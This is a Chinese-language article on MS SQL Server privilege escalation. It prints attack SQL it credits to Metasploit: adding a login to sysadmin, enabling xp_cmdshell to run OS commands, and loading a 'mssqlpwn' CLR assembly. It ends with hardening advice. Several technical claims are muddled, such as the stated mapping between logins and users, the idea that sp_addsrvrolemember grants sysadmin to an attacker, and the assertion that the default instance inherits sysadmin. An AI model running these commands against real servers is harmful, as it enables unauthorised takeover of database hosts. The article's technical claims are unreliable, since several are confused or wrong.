1. MS SQL Server的权限模型
在进行访问控制时，需要了解MS SQL Server的权限模型。MS SQL Server的权限模型主要由登录（Login）、用户（User）、角色（Role）三个概念组成。
登录是用于连接到MS SQL Server的凭据，包含登录名和密码，并且可以指定登录可以访问的数据库。
用户是在数据库中定义的对象，用于指定谁可以访问对象。一个用户可以对应多个登录，但是一个登录只能对应一个用户。
角色是一组用户和其他角色的集合，角色可以被授予权限，用户可以成为一个角色的成员，从而获得该角色所有的权限。
2. 获得系统管理员权限
2.1 通过SQL注入获得系统管理员权限
SQL注入是一种利用未经过滤或不充分过滤输入数据的应用程序漏洞攻击方法。通过SQL注入，攻击者可以执行未经授权的SQL查询，包括获得系统管理员权限。
-- 以下代码来源于Metasploit Framework，用于获得系统管理员权限
EXEC sp_addsrvrolemember 'login_name', 'sysadmin';
上述SQL语句可以将登录名为“login_name”的登录添加到“sysadmin”系统角色中，从而授予其系统管理员权限。
2.2 利用xp_cmdshell获得系统管理员权限
xp_cmdshell是MS SQL Server中的一种特殊存储过程，可以执行操作系统命令。如果攻击者可以获得执行xp_cmdshell的权限，就可以通过执行操作系统命令获得系统管理员权限。
-- 以下代码来源于Metasploit Framework，用于获得系统管理员权限
EXEC sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
EXEC sp_configure 'xp_cmdshell', 1;
GO
RECONFIGURE;
GO
EXEC xp_cmdshell 'whoami';
上述SQL语句将xp_cmdshell启用，并执行whoami命令来输出当前登录用户信息。
3. 常见的权限提升方式
3.1 利用默认实例在管理员权限下执行任意命令
默认情况下，MS SQL Server的主实例继承了系统管理员（sysadmin）权限，攻击者可以在默认实例下执行任意命令，并以管理员权限在系统上执行。
3.2 利用xp_cmdshell执行命令
之前已经介绍了如何利用xp_cmdshell执行操作系统命令。攻击者可以使用这种方式来执行任意命令，并以管理员权限在系统上执行。为了提高安全性，可以考虑禁用xp_cmdshell。
3.3 利用CLR提升权限
CLR（Common Language Runtime）是.NET Framework提供的一种执行环境，可以在MS SQL Server中使用。攻击者可以通过使用CLR来提升权限。
-- 以下代码来源于Metasploit Framework，用于获得系统管理员权限
CREATE ASSEMBLY [mssqlpwn_clr] AUTHORIZATION [dbo] FROM 0x4D5
...
CREATE PROCEDURE [dbo].[sp_mssqlpwn] AS EXTERNAL NAME [mssqlpwn_clr].[mssqlpwn].exploit;
上述SQL语句创建了CLR程序集sp_mssqlpwn，并调用exploit方法以获得系统管理员权限。
4. 如何防范权限提升漏洞
为了防止权限提升漏洞，可以考虑采取以下措施：
4.1 最小权限原则
通过给用户和角色授予最小的权限，可以最大限度地降低攻击者利用权限提升漏洞的风险。
4.2 禁用不必要的功能
禁用不必要的功能，如xp_cmdshell等，可以减少攻击者利用的突破口。
4.3 加固数据库安全
保持数据库安全，包括设置复杂密码，定期备份数据库，限制对数据库的访问等，可以降低权限提升漏洞的风险。
4.4 及时修复漏洞
及时修复漏洞，包括安装安全补丁和更新，可以有效避免攻击者利用已知漏洞进行攻击。
5. 总结
MS SQL Server是一种常见的关系型数据库管理系统，在使用过程中需要注意数据库安全。本文介绍了如何获得系统管理员权限，并提出了防范权限提升漏洞的措施，希望对大家有所帮助。